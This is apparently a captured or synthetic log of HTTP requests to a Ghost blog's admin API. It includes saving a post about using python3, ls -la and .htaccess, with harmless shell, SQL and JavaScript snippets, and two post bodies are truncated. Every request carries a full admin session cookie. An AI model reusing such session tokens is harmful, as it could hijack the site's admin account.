-la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Bid%3A-%276af458a5d281b00001a59969%27&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?filter=newsletters.slug%3Adefault-newsletter%2Bemail_disabled%3A0%2B%28status%3Afree%2Cstatus%3A-free%29&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8061", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=id%3A6af458a5d281b00001a59969&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/assets/tag-detail-BzYiFRvZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/breadcrumb-zc_bvTJr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/detail-page-mfw0499d.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/users/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/invites/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tiers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/automated_emails/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/?filter=status%3A%5Bactive%2Carchived%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?include=count.active_members%2Ccount.posts&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/recommendations/?include=count.clicks%2Ccount.subscribers&order=created_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/incoming_recommendations/?limit=5&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/referrers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/design-settings-R1OjGW68.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/network-C2Wz-Sfw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/explore-default-logo-P7UjmPqe.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/integrations-settings-Ba5Zx8yQ.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pintura-CXOmq-5H.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mailchimp-Ds_NQ04w.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/members-D1Y_hke9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-route-BZwzEPZL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filters-2r-Nhhaw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/classApi-G56FoJgF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filter-operator-options-DxNDR7Tm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/map-atlas-DafQOER4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/create-custom-field-popover-Dr-RhlK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
